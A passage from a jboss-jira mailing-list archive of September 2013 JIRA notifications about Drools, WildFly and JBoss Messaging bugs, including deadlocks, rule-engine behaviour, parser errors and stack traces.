> The exception is thrown in org.drools.rule.JavaRuntimeDialectData, when the CompositeClassLoader tries to define the class implementing a rule consequence. The method fastFindClass, which does the lazy initialization, is not thread-safe. It is possible for two threads to call findLoadedClass(..), get null and thus start the definition process which eventually results in the exception.
> The situation is indeed very rare

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 02:44:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 02:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-164) Rule do not fire when
 lock-on-active true present
In-Reply-To: <JIRA.12493845.1370615775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493845.1370615775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493845.1370615775000.14847.1378709043437@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-164?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802645#comment-12802645 ] 

Davide Sottara commented on DROOLS-164:
---------------------------------------

Citing the Drools Expert guide:
"Whenever a ruleflow-group becomes active or an agenda-group receives the focus, any rule within that group that has lock-on-active set to true will not be activated any more; irrespective of the origin of the update, the activation of a matching rule is discarded".

When you insert the fact, both rules become active. Rule 1 then fires first because of the higher salience. When it modifies the Tradebooking AFTER setting the action (notice that it is a key attribute!), two things happen: a new activation (with an effectively new TradeHeader) is tentatively generated, but rejected because of the lock-on-active; the previous activation is cancelled because its supporting facts no longer hold. Finally, the String blocks a new activation of Rule 1.

- Removing salience 1 lets Rule2 fire before Rule1, so the latter does not have the time to cancel the former
- Removing the setAction() causes Rule2 to re-activate "in place". Since the new facts are equals, the engine does not try to replace the activation with a new one. So lock-on-active does not apply (correctly)
- Removing the modify of course prevents any re-evaluation and tentative reactivation of Rule2
- Removing lock-on-active prevents the blocking effect.

So, the engine behaves correctly. You should reconsider modifying an attribute when it's a key, or find alternatives to lock-on-active such as property reactivity.
Please let me know if you need more explanations.

The ticket should be rejected.
Best
Davide


                
> Rule do not fire when lock-on-active true present
> -------------------------------------------------
>
>                 Key: DROOLS-164
>                 URL: https://issues.jboss.org/browse/DROOLS-164
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: Win7/64 Java6
>            Reporter: Sergey Alaev
>            Assignee: Mark Proctor
>
> Given following rules:
> 1  rule "Rule1"
> 2  salience 1
> 3  when
> 4      $booking: TradeBooking()
> 5      $trade: TradeHeader() from $booking.getTrade()
> 6      not (String())
> 7  then
> 8      $trade.setAction("New");
> 9      modify($booking) {}
> 10     insert ("run");
> 11 end;
> 12
> 13 rule "Rule2"
> 14 lock-on-active true
> 15 when
> 16     $booking: TradeBooking(  )
> 17     $trade: Object( ) from $booking.getTrade()
> 18 then
> 19     
> 20 end
> and instance of TradeBooking() object with booking.trade != null
> i expect to get: Rule1 fired, Rule2 fired
> but i get: Rule1 fired
> I can get expected result if i comment out one of the following lines: 2, 8, 9, 14
> I was unable to reproduce this issue using standard mutable class (java.util.Date), so there are some details:
> TradeBooking, TradeHeader are interfaces, instances are generated using JDK proxy.
> $booking.getTrade() returns JDK Proxy over interface that inherits TradeHeader.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 03:09:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 03:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-43) Binding makes parser accept
 non-boolean constraint
In-Reply-To: <JIRA.12485102.1361202697000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485102.1361202697000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485102.1361202697000.14861.1378710543392@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-43?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802647#comment-12802647 ] 

Davide Sottara commented on DROOLS-43:
--------------------------------------

This is an extremely bad parser bug.. it tries to assign the value of the expression to $x (which may be fine), but unfortunately the DRLExpression parser only considers the first atomic expression (a) and ignores all the rest
                
> Binding makes parser accept non-boolean constraint
> --------------------------------------------------
>
>                 Key: DROOLS-43
>                 URL: https://issues.jboss.org/browse/DROOLS-43
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>
> Below is a self-contained DRL which should not compile because the sum isn't a boolean expression. (Note that omitting "$x:" results in the correct diagnostic "predicate ... must be a boolean".)
> {code}
> declare Foo
>   a: double
>   b: double
> end
> rule what
> when
>     $c: Foo( $x: a + b )
> then
>     System.out.println( "foo: " + $c );
> end
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 03:22:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Mon, 9 Sep 2013 03:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-175) Deadlock when invoking
 queries concurrently
In-Reply-To: <JIRA.12494729.1371726167000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494729.1371726167000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494729.1371726167000.14874.1378711323687@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-175?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco updated DROOLS-175:
-------------------------------

    Priority: Blocker  (was: Major)

    
> Deadlock when invoking queries concurrently
> -------------------------------------------
>
>                 Key: DROOLS-175
>                 URL: https://issues.jboss.org/browse/DROOLS-175
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Gabor Gyongyi
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> I have a query that I want to execute from multiple threads using statefulKnowledgeSession.getQueryResults. One of the threads wants to invoke lock.writeLock().lock() in the 105th line of UpgradableReentrantReadWriteLock. The problem is that the other threads already own the readLock and they cannot proceed until the first query thread finishes with its job. They will wait for each other.
> I experienced the same problem with 5.4.0.Final as well.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 03:22:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Mon, 9 Sep 2013 03:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-175) Deadlock when invoking
 queries concurrently
In-Reply-To: <JIRA.12494729.1371726167000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494729.1371726167000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494729.1371726167000.14877.1378711323853@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-175?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-175:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> Deadlock when invoking queries concurrently
> -------------------------------------------
>
>                 Key: DROOLS-175
>                 URL: https://issues.jboss.org/browse/DROOLS-175
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Gabor Gyongyi
>            Assignee: Mario Fusco
>            Priority: Blocker
>
> I have a query that I want to execute from multiple threads using statefulKnowledgeSession.getQueryResults. One of the threads wants to invoke lock.writeLock().lock() in the 105th line of UpgradableReentrantReadWriteLock. The problem is that the other threads already own the readLock and they cannot proceed until the first query thread finishes with its job. They will wait for each other.
> I experienced the same problem with 5.4.0.Final as well.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 04:33:03 2013
From: jira-events at lists.jboss.org (Jakub Cechacek (JIRA))
Date: Mon, 9 Sep 2013 04:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2024) Scoped roles base on
 SuperUser should not be allowed
In-Reply-To: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500268.1378651067000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500268.1378651067000.14969.1378715583421@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2024?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802667#comment-12802667 ] 

Jakub Cechacek commented on WFLY-2024:
--------------------------------------

The reason why I'd opened this issue is that these roles didn't work for me in admin console (lack of host/group permission). After reading this I've tried it also in CLI and it seems to be working as expected. I will ask Heiko about it when he gets online and fill a HAL issue.

Thanks for providing some insight Brian. 
                
> Scoped roles base on SuperUser  should not be allowed
> -----------------------------------------------------
>
>                 Key: WFLY-2024
>                 URL: https://issues.jboss.org/browse/WFLY-2024
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should not be possible to create scoped roles with SuperUser used as the base role. These roles currently don't have any permission to operate over Server Group / Host anyway and having such role doesn't make sense (as restricted superuser is not a superuser).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 04:48:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 04:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-240) ResourceChangeScanner not
 removing UrlResources
In-Reply-To: <JIRA.12499317.1377374484000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499317.1377374484000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499317.1377374484000.15029.1378716483562@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-240?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802670#comment-12802670 ] 

Davide Sottara commented on DROOLS-240:
---------------------------------------

Confirmed, I have cherry-picked it for inclusion in 5.6

                
> ResourceChangeScanner not removing UrlResources
> -----------------------------------------------
>
>                 Key: DROOLS-240
>                 URL: https://issues.jboss.org/browse/DROOLS-240
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: java version "1.7.0_21"
> Java(TM) SE Runtime Environment (build 1.7.0_21-b11)
> Java HotSpot(TM) 64-Bit Server VM (build 23.21-b01, mixed mode)
>            Reporter: Demian Calcaprina
>            Assignee: Mark Proctor
>            Priority: Critical
>         Attachments: UrlTest.java
>
>
> I am seing that the resources in the KnowledgeBase are being deleted without aparent reason.
> I have some URL resources configured to get it from guvnor using the basic auth.
> It seems this method,
> https://github.com/droolsjbpm/drools/blob/5.5.x/drools-core/src/main/java/org/drools/io/impl/UrlResource.java#L252
> is not including auth parameters to get the last modified date from the resource url. This is causing (in my environment), to get last modified date as 0, and this makes the ResourceChangeScanner to remove the resource from the kbase. I made the fix and seems to work fine in my machine.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 05:19:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 9 Sep 2013 05:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1902) jconsole.sh fails when
 JAVA_HOME is not set
In-Reply-To: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498925.1376940530000.15338.1378718344152@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1902?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-1902:
--------------------------------------

    Assignee: Aleksandar Kostadinov

    
> jconsole.sh fails when JAVA_HOME is not set
> -------------------------------------------
>
>                 Key: WFLY-1902
>                 URL: https://issues.jboss.org/browse/WFLY-1902
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>         Environment: RHEL#/Fedora/Debian RPM
>            Reporter: Aleksandar Kostadinov
>            Assignee: Aleksandar Kostadinov
>              Labels: jconsole
>             Fix For: Awaiting Volunteers
>
>
> In most standard linux distros JAVA_HOME is never set no matter if any JVM is installed or not. This breaks jconsole.sh
> {code}
> # /usr/share/jbossas/bin/jconsole.sh 
> JAVA_HOME is not set. Unable to locate the jars needed to run jconsole.
> {code}
> jconsole.sh needs to try finding a suitable java installation before failing with an error.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 05:19:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 9 Sep 2013 05:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1902) jconsole.sh fails when
 JAVA_HOME is not set
In-Reply-To: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498925.1376940530000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498925.1376940530000.15343.1378718344397@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1902?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1902:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: Awaiting Volunteers)

    
> jconsole.sh fails when JAVA_HOME is not set
> -------------------------------------------
>
>                 Key: WFLY-1902
>                 URL: https://issues.jboss.org/browse/WFLY-1902
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Scripts
>    Affects Versions: 8.0.0.Alpha4
>         Environment: RHEL#/Fedora/Debian RPM
>            Reporter: Aleksandar Kostadinov
>            Assignee: Aleksandar Kostadinov
>              Labels: jconsole
>             Fix For: 8.0.0.Beta1
>
>
> In most standard linux distros JAVA_HOME is never set no matter if any JVM is installed or not. This breaks jconsole.sh
> {code}
> # /usr/share/jbossas/bin/jconsole.sh 
> JAVA_HOME is not set. Unable to locate the jars needed to run jconsole.
> {code}
> jconsole.sh needs to try finding a suitable java installation before failing with an error.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 05:45:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 05:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-243) CEP Operators in Rules
 failing to compile when getting PKG
In-Reply-To: <JIRA.12499470.1377630045000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499470.1377630045000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499470.1377630045000.15372.1378719903877@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-243?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802690#comment-12802690 ] 

Davide Sottara commented on DROOLS-243:
---------------------------------------

Moving the Operators to the *Evaluators makes it more difficult to overload them consistently (see SetEvaluatorDefinition for example). 
Would it be possible to create an initOperator() method in the *EvaluatorDefinition classes? That could be called by the static constructor
of the *EvaluatorDefintions, as well as, lazily, by the Operators after deserialization, in case the operator resolution fails?

The idea is that the same approach should be applied to all the currently available 18 custom operators (the 13 temporal ones, STR, SET, MATCHES, ISA and SOUNDSLIKE),
not just to the temporal ones. 
                
> CEP Operators in Rules failing to compile when getting PKG
> ----------------------------------------------------------
>
>                 Key: DROOLS-243
>                 URL: https://issues.jboss.org/browse/DROOLS-243
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Demian Calcaprina
>            Assignee: Mark Proctor
>            Priority: Critical
>
> The issue is described in the following community post:
> http://drools.46999.n3.nabble.com/Problem-with-PKG-from-guvnor-tc4025687.html
> This code can reproduce it:
>     	KnowledgeBaseConfiguration config = KnowledgeBaseFactory.newKnowledgeBaseConfiguration();
>     	config.setOption( EventProcessingOption.STREAM );
>     	KnowledgeBase kbase = KnowledgeBaseFactory.newKnowledgeBase(config);
>     	
>     	KnowledgeAgentConfiguration aconf = KnowledgeAgentFactory
> 				.newKnowledgeAgentConfiguration();
> 		aconf.setProperty("drools.agent.scanDirectories", "true");
> 		aconf.setProperty("drools.agent.scanResources", "true");
> 		aconf.setProperty("drools.agent.newInstance", "false");
>         KnowledgeAgent kagent = KnowledgeAgentFactory.newKnowledgeAgent("MortgageAgent", kbase, aconf);
>         Resource changeset = ResourceFactory.newClassPathResource(
>                 "cs.xml");
>         kagent.applyChangeSet(changeset);
>         KnowledgeBase kbase2 = kagent.getKnowledgeBase();
> Creating a changeset that points to a binary package in guvnor, with a rules which uses the temporal operator. For example, somthing like this:
> when 
>         myfact: EventA( main > 21 ) over window:length (1) 
>         myfact2 : EventA( main <= 21 , this before myfact ) over window:length (2) 
> What is happening in that when it tries to compare the temporal distance, it will throw a NPE:
> Caused by: java.lang.NullPointerException 
>         at org.drools.base.evaluators.BeforeEvaluatorDefinition$BeforeEvaluator.getInterval(BeforeEvaluatorDefinition.java:268) [drools-core-5.5.0.Final.jar:5.5.0.Final] 
>         at org.drools.rule.constraint.EvaluatorConstraint.getInterval(EvaluatorConstraint.java:100) [drools-core-5.5.0.Final.jar:5.5.0.Final] 
>         at org.drools.reteoo.builder.BuildUtils.gatherTemporalRelationships(BuildUtils.java:326) [drools-core-5.5.0.Final.jar:5.5.0.Final] 
>         at org.drools.reteoo.builder.BuildUtils.calculateTemporalDistance(BuildUtils.java:292) [drools-core-5.5.0.Final.jar:5.5.0.Final] 
>         at org.drools.reteoo.builder.ReteooRuleBuilder.addRule(ReteooRuleBuilder.java:119) [drools-core-5.5.0.Final.jar:5.5.0.Final] 
>         at org.drools.reteoo.ReteooBuilder.addRule(ReteooBuilder.java:113) [drools-core-5.5.0.Final.jar:5.5.0.Final] 
>         at org.drools.reteoo.ReteooRuleBase.addRule(ReteooRuleBase.java:445) [drools-core-5.5.0.Final.jar:5.5.0.Final] 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 05:53:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 9 Sep 2013 05:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBMESSAGING-1941) Messaging deadlocks on
 AspectManager
In-Reply-To: <JIRA.12484258.1360189635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484258.1360189635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484258.1360189635000.15389.1378720383602@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBMESSAGING-1941?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated JBMESSAGING-1941:
-------------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1005732

    
> Messaging deadlocks on AspectManager
> ------------------------------------
>
>                 Key: JBMESSAGING-1941
>                 URL: https://issues.jboss.org/browse/JBMESSAGING-1941
>             Project: JBoss Messaging
>          Issue Type: Bug
>    Affects Versions: 1.4.8.SP9
>         Environment: -JBoss Enterprise Application Platform (EAP) 5
>            Reporter: Aaron Ogburn
>         Attachments: 00779442testpatch.diff
>
>
> Messaging can stall JBoss at start up.  The hang occurs as the main thread blocks in different locations in JMS trying to acquire the AspectManager instance lock:
> {noformat} 
> "main" prio=10 tid=0x00007fe69c1e1000 nid=0x3613 waiting for monitor entry [0x00007fe6828e5000]
>    java.lang.Thread.State: BLOCKED (on object monitor)
>         at org.jboss.aop.AspectManager.getAdvisor(AspectManager.java:728)
>         - waiting to lock <0x00000000a5e43e50> (a org.jboss.aop.AspectManager)
>         at org.jboss.jms.server.endpoint.advised.SessionAdvised.<clinit>(SessionAdvised.java)
>         at org.jboss.jms.server.endpoint.ServerConnectionEndpoint.createSessionDelegate(ServerConnectionEndpoint.java:273)
>         - locked <0x00000000a5600f48> (a org.jboss.aop.asintegration.jboss5.ScopedVFSClassLoaderDomain)
>         at org.jboss.jms.server.endpoint.ServerConnectionEndpoint.createSessionDelegate(ServerConnectionEndpoint.java:229)
> {noformat} 
> Since the main thread is stalled, so too is start up.  This lock is always held by another making a similar call like so:
> {noformat} 
> "WorkManager(2)-1" daemon prio=10 tid=0x00007fe62dd96000 nid=0x363e in
> Object.wait() [0x00007fe68029a000]
>    java.lang.Thread.State: RUNNABLE
>         at org.jboss.jms.server.endpoint.ServerConnectionEndpoint.createSessionDelegate(ServerConnectionEndpoint.java:273)
>         - locked <0x00000000a5e43e50> (a org.jboss.aop.AspectManager)
>         at org.jboss.jms.server.endpoint.ServerConnectionEndpoint.createSessionDelegate(ServerConnectionEndpoint.java:229)
> {noformat} 
> The code there at line 273 is simple enough and shouldn't cause a long stall:
> {code:title=org.jboss.jms.server.endpoint.ServerConnectionEndpoint.java|borderStyle=solid}
>          synchronized (AspectManager.instance())
>          {
>             advised = new SessionAdvised(ep);     // line 273
>          }
> {code}
> Nonetheless, it does clearly hang at this line as WorkManager(2)-1 never progresses.  There's no GC/CPU issues or anything of that nature, but we get a slight in the thread dump as WorkManager(2)-1 is shown to be in Object.wait().  Checking the thread through pstack, we can see the issue.  It is waiting in native/JDK level operations required to initialize the SessionAdvised class:
> {noformat}
> Thread 2 (Thread 0x7fe68029d700 (LWP 13886)):
> #0  0x0000003b3e40b43c in pthread_cond_wait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0
> #1  0x00007fe6a12d447e in os:latformEvent:ark() () from /opt/app/jvm/jdk1.6.0_38/jre/lib/amd64/server/libjvm.so
> #2  0x00007fe6a12c54fa in ObjectMonitor::wait(long, bool, Thread*) () from /opt/app/jvm/jdk1.6.0_38/jre/lib/amd64/server/libjvm.so
> #3  0x00007fe6a13ab5f0 in ObjectSynchronizer::waitUninterruptibly(Handle, long, Thread*) () from /opt/app/jvm/jdk1.6.0_38/jre/lib/amd64/server/libjvm.so
> #4  0x00007fe6a107115b in instanceKlass::initialize_impl(instanceKlassHandle, Thread*) () from /opt/app/jvm/jdk1.6.0_38/jre/lib/amd64/server/libjvm.so
> #5  0x00007fe6a107077a in instanceKlass::initialize(Thread*) () from /opt/app/jvm/jdk1.6.0_38/jre/lib/amd64/server/libjvm.so
> #6  0x00007fe6a1097c5c in InterpreterRuntime::_new(JavaThread*, constantPoolOopDesc*, int) () from /opt/app/jvm/jdk1.6.0_38/jre/lib/amd64/server/libjvm.so
> {noformat}
> These calls are naturally synchronized internally in the JVM so only one thread can proceed through initialization of a class at a given time.  Checking for any threads in process of initializing SessionAdvised, we can see only the main thread is.  But the main thread is still blocked for the AspectManager lock.
> So we have a deadlock here.  The main thread holds the initialization lock while waiting for the AspectManager lock, while the WorkManager(2)-1 thread holds the AspectManager lock while waiting for the initialization lock.
> The initialization of SessionAdvised is wrapped in the synchronized block so the main thread should not have been able to proceed into the initialization at all without already possessing the AspectManager lock.  It locks the ScopedVFSClassLoaderDomain, which extends the AspectManager.  This is different from the actual AspectManager though that main tries to lock in the clinit call and that it deadlocks on.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  9 06:02:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Mon, 9 Sep 2013 06:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-53) buildDialectConfigurationMap
	BUG
In-Reply-To: <JIRA.12485548.1361787412000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485548.1361787412000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485548.1361787412000.15405.1378720923435@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-53?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802694#comment-12802694 ] 

Davide Sottara commented on DROOLS-53:
--------------------------------------

Drools 5.5 is compatible with jBPM 5.4, 4.3 seems a rather old version to be used with 5.5 and I'm not sure the two would be able to work together. 
This said, you write "The content of ?? is as follows:" what is it exactly?
Thanks
Davide
                
> buildDialectConfigurationMap BUG
> --------------------------------
>
>                 Key: DROOLS-53
>                 URL: https://issues.jboss.org/browse/DROOLS-53
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: drools5.5
> jbmp4.3
>            Reporter: kevin hu
>            Assignee: Mark Proctor
>
> When I use jbmp4.3 completed a process,Once again the execution Drools, will get the following error:
> java.lang.ClassCastException: java.util.ArrayList cannot be cast to java.lang.String
> 	at java.util.Properties.enumerate(Properties.java:1060)
> 	at java.util.Properties.propertyNames(Properties.java:971)
> 	at org.drools.util.ChainedProperties.mapStartsWith(ChainedProperties.java:206)
> 	at org.drools.util.ChainedProperties.mapStartsWith(ChainedProperties.java:188)
> 	at org.drools.compiler.PackageBuilderConfiguration.buildDialectConfigurationMap(PackageBuilderConfiguration.java:297)
> 	at org.drools.compiler.PackageBuilderConfiguration.init(PackageBuilderConfiguration.java:192)
> 	at org.drools.compiler.PackageBuilderConfiguration.<init>(PackageBuilderConfiguration.java:170)
> 	at org.drools.compiler.PackageBuilder.<init>(PackageBuilder.java:300)
> 	at org.drools.compiler.PackageBuilder.<init>(PackageBuilder.java:228)
> 	at org.drools.builder.impl.KnowledgeBuilderFactoryServiceImpl.newKnowledgeBuilder(KnowledgeBuilderFactoryServiceImpl.java:34)
> 	at org.drools.builder.KnowledgeBuilderFactory.newKnowledgeBuilder(KnowledgeBuilderFactory.java:46)
> The content of  is as follows:
> --------------------------------------------------------------------------------
>  (java.util.Properties) {java.runtime.name=Java(TM) SE Runtime Environment, [100001, WebappClassLoader
>   context: /mit
>   delegate: false
>   repositories:
>     /WEB-INF/classes/
> ----------> Parent Classloader:
> org.apache.catalina.loader.StandardClassLoader at ec6b00
> ]=org.jbpm.pvm.internal.repository.DeploymentClassLoader at 77576b, sun.boot.library.path=C:\Program Files (x86)\Java\jdk1.6.0_37\jre\bin, java.vm.version=20.12-b01, shared.loader=, 100001={WorkNoBom=process(WorkNoBom)}, java.vm.vendor=Sun Microsystems Inc., java.vendor.url=http://java.sun.com/, path.separator=;, tomcat.util.buf.StringCache.byte.enabled=true, java.vm.name=Java HotSpot(TM) Client VM, file.encoding.pkg=sun.io, sun.java.launcher=SUN_STANDARD, user.country=CN, sun.os.patch.level=Service Pack 1, java.vm.specification.name=Java Virtual Machine Specification, user.dir=D:\apache-tomcat-6.0.36\bin, java.runtime.version=1.6.0_37-b06, java.awt.graphicsenv=sun.awt.Win32GraphicsEnvironment, java.endorsed.dirs=D:\apache-tomcat-6.0.36/common/endorsed, os.arch=x86, webapp.root=E:\Workspaces\mdb_web\WebRoot\, java.io.tmpdir=D:\apache-tomcat-6.0.36\temp, line.separator=
> , java.vm.specification.vendor=Sun Microsystems Inc., java.naming.factory.url.pkgs=org.apache.naming, user.variant=, os.name=Windows 7, sun.jnu.encoding=GBK, java.library.path=C:\Program Files (x86)\Java\jdk1.6.0_37\bin;D:\apache-tomcat-6.0.36\bin, java.specification.name=Java Platform API Specification, java.class.version=50.0, sun.management.compiler=HotSpot Client Compiler, sun.io.useCanonCaches=false, os.version=6.1, user.home=C:\Users\kevin.hu, catalina.useNaming=true, user.timezone=Asia/Shanghai, java.awt.printerjob=sun.awt.windows.WPrinterJob, file.encoding=GBK, java.specification.version=1.6, catalina.home=D:\apache-tomcat-6.0.36, java.class.path=D:\apache-tomcat-6.0.36/bin/bootstrap.jar;C:\Program Files (x86)\Java\jdk1.6.0_37/lib/tools.jar, user.name=kevin.hu, java.naming.factory.initial=org.apache.naming.java.javaURLContextFactory, package.definition=sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper., java.vm.specification.version=1.0, sun.java.command=org.apache.catalina.startup.Bootstrap start, java.home=C:\Program Files (x86)\Java\jdk1.6.0_37\jre, sun.arch.data.model=32, user.language=zh, java.specification.vendor=Sun Microsystems Inc., awt.toolkit=sun.awt.windows.WToolkit, java.vm.info=mixed mode, java.version=1.6.0_37, java.ext.dirs=C:\Program Files 